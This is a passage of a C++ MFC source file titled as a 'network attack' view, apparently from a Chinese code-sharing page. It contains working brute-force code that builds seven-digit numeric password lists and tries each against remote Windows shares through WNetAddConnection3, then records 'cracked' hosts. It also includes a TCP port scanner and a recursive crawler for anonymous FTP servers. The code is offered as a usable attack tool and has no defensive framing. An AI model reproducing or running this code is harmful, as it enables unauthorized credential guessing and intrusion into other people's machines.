📄 网络攻击view.cpp
字号:
index++;
break;
case 11:
for(num6=from;num6<to;num6++)
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 12:
for(num6=from;num6<to;num6++)
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
//
/////////////
case 13:
from=3;
to=4;
for(num6=from;num6<to;num6++)
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 14:
for(num6=from;num6<to;num6++)
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 15:
for(num6=from;num6<to;num6++)
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
//
/////////////
case 16:
from=4;
to=5;
for(num6=from;num6<to;num6++)
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 17:
for(num6=from;num6<to;num6++)
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 18:
for(num6=from;num6<to;num6++)
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
//
case 19:
from=5;
to=6;
for(num6=from;num6<to;num6++)
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 20:
for(num6=from;num6<to;num6++)
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 21:
for(num6=from;num6<to;num6++)
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
//
//
case 22:
from=7;
to=8;
for(num6=from;num6<to;num6++)
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 23:
for(num6=from;num6<to;num6++)
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 24:
for(num6=from;num6<to;num6++)
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
//
case 25:
from=8;
to=9;
for(num6=from;num6<to;num6++)
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 26:
for(num6=from;num6<to;num6++)
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 27:
for(num6=from;num6<to;num6++)
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
//
case 28:
from=9;
to=10;
for(num6=from;num6<to;num6++)
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 29:
for(num6=from;num6<to;num6++)
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 30:
for(num6=from;num6<to;num6++)
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
//
}
CString pp;
POSITION pos=caijiep.GetHeadPosition( );
for(int k=0;k<caijiep.GetCount( );k++)
{
pp=caijiep.GetAt(pos);
if(pp[0]=='@')
{
char tt[30];
for(int i=1;i<pp.GetLength();i++)
tt[i-1]=pp[i];
tt[pp.GetLength()-1]=0;
pp=user;
pp+=tt;
}
//m_curip="name:";
//m_curip+=user;
m_pwd=pp;
m_name=user;
m_curip=ip;
UpdateData(false);
if(NO_ERROR==WNetAddConnection3(this->m_hWnd,netres,pp,user,CONNECT_UPDATE_PROFILE))
{
AfxMessageBox("破解密码");
HTREEITEM tem=m_show.GetChildItem(rpitem);
if(tem==NULL)
{
if(pp=="")
{
pp="空密码";
}
m_show.InsertItem(pp,6,6,rpitem,0);
name=user;
if(pp=="空密码")
pp="";
password=pp;
////////////得到密码主机数+1
igetp++;
m_getp.Format("破解密码主机数: %d",igetp);
UpdateData(false);
m_show.SetItemImage(m_show.GetParentItem(m_show.GetParentItem(rpitem)),7,7);
bget=true;
break;
}
}
else
{
}
caijiep.GetNext(pos);
}
if(bget==true)
break;
}
//////////
delete netres;
}
void CMyView::updatestring(CString ip)
{
CString pp="...",user="...";
m_pwd=pp;
m_name=user;
m_curip=ip;
m_curip+="...";
UpdateData(false);
}
BOOL CMyView::ScanPorts(CString m_Ip, CString &strlist, CStringList &smtplist,HTREEITEM item)
{
/*int port[70]={7,9,11,13,15,17,19,21,23,25,37,43,53,70,77,79,80,81,
87,88,103,104,109,110,111,113,
115,119,123,135,137,138,139,143,144,443,512,513,514,515,520,
530,540,544,749,750,751,754,1024,1025,1026,1080,1234,1433,
1600,2003,2049,3389,5742,6000,6667,7626,8080,8011,9100,12345,20024,
31337,54320,0};*/
int port[5]={21,80,25,135,139};
int counter=0;
if(m_bports==TRUE)
counter=5;
else
counter=1;
SOCKADDR_IN dest;
memset(&dest,0,sizeof(dest));
dest.sin_addr.S_un.S_addr=inet_addr(m_Ip);
dest.sin_port=0;
dest.sin_family=AF_INET;
SOCKET hsock;
CString temp,temp1;
int error;
for(int i=0;i<counter;i++)
{
hsock=socket(AF_INET,SOCK_STREAM,0);
dest.sin_port=htons(port[i]);
error=connect(hsock,(sockaddr*)(&dest),sizeof(SOCKADDR_IN));
m_ports.Format("%d",port[i]);
UpdateData(false);
if(error!=-1)
{
temp1.Format("%d",port[i]);
if(m_bports==TRUE&&item!=NULL)
{
m_show.InsertItem(temp1,9,9,item,0);
//return TRUE;
}
}
closesocket(hsock);
}
return FALSE;
}
void CMyView::getftpfile(CString ip,HTREEITEM item)
{
try
{
CInternetSession sess(_T("MyProgram/1.0"));
CFtpConnection* pConnect = sess.GetFtpConnection(ip);
CFtpFileFind finder(pConnect);
CString findname="";
BOOL bWorking = finder.FindFile(findname);
bWorking = finder.FindNextFile();
if(bWorking==TRUE)
{
iftp++;
m_ftp.Format("%d",iftp);
m_show.SetItemImage(m_show.GetParentItem(item),23,23);
UpdateData(false);
}
findfile(ip,findname,finder,item);
if (pConnect != NULL)
pConnect->Close();
delete pConnect;
}
catch (CInternetException* pEx)
{
TCHAR sz[1024];
pEx->GetErrorMessage(sz, 1024);
pEx->Delete();
return;
}
}
void CMyView::findfile(CString ip,CString path,CFtpFileFind & finder,HTREEITEM item)
{
HTREEITEM pitem=item;
CString str="";
CInternetSession sess(_T("MyProgram/1.0"));
CFtpConnection* pConnect = NULL;
//pConnect=new CFtpConnection();
try
{
pConnect = sess.GetFtpConnection(ip);
CFtpFileFind finder2(pConnect);
BOOL bWorking = finder2.FindFile(path);
while (bWorking)
{
bWorking = finder2.FindNextFile();
if (finder2.IsDots())
continue;
if(finder2.IsDirectory( ))
{
CString foldstr=path;
foldstr+=finder2.GetFilePath();
/*for(int i=0;i<foldstr.GetLength();i++)
{
if(foldstr[i]==' ')
{
//foldstr[i]='
}
}*/
pitem=m_show.InsertItem(finder2.GetFileName(),11,11,item,0);
findfile(ip,foldstr,finder,pitem);
}
else
{
str=(LPCTSTR) finder2.GetFileName();
int index=str.ReverseFind('.');
char* tem=new char[5];
for(int k=index;k<str.GetLength();k++)
tem[k-index]=str[k];
tem[str.GetLength()-index]=0;
CString name=tem;
delete tem;
if(name==".exe")
m_show.InsertItem(str,12,12,item,0);
if(name==".txt")
m_show.InsertItem(str,10,10,item,0);
if(name==".rar")
m_show.InsertItem(str,13,13,item,0);
if(name==".avi")
m_show.InsertItem(str,14,14,item,0);
if(name==".hlp")
m_show.InsertItem(str,15,15,item,0);
if(name==".htm"||name==".html")
m_show.InsertItem(str,16,16,item,0);
if(name==".mp3")
m_show.InsertItem(str,17,17,item,0);
//if(name==".pdf")
//m_show.InsertItem(str,18,18,item,0);
if(name==".doc")
m_show.InsertItem(str,22,22,item,0);
if(name==".rm")
m_show.InsertItem(str,20,20,item,0);
//if(name==".doc")
//m_show.InsertItem(str,20,20,item,0);
if(name!=".rar"&&name!=".exe"&&name!=".txt"&&name!=".rar"&&
name!=".avi"&&name!=".hlp"&&name!=".htm"&&name!=".doc"&&
name!=".mp3"&&name!=".rm"//&&name!=".ppt"&&name!=".rm"&&
//name!=".doc"
)
m_show.InsertItem(str,21,21,item,0);
}
}
}
catch (CInternetException* pEx)
{
TCHAR sz[1024];
pEx->GetErrorMessage(sz, 1024);
//printf("ERROR! %s\n", sz);
pEx->Delete();
}
if (pConnect != NULL)
pConnect->Close();
}
void CMyView::OnDraw(CDC* pDC)
{
CBrush brush(RGB(100,80,150));
//CRect rect;
//GetClientRect(&rect);
//pDC->FillRect(&rect,&brush);
//pDC->Get
}
HBRUSH CMyView::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = CFormView::OnCtlColor(pDC, pWnd, nCtlColor);
/*HBRUSH b=CreateSolidBrush(RGB(100,80,150));
if(nCtlColor==CTLCOLOR_STATIC)
{
pDC->SetTextColor(RGB(255,255,255));
pDC->SetBkMode(TRANSPARENT);
return b;
}*/
// TODO: Return a different brush if the default is not desired
return hbr;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -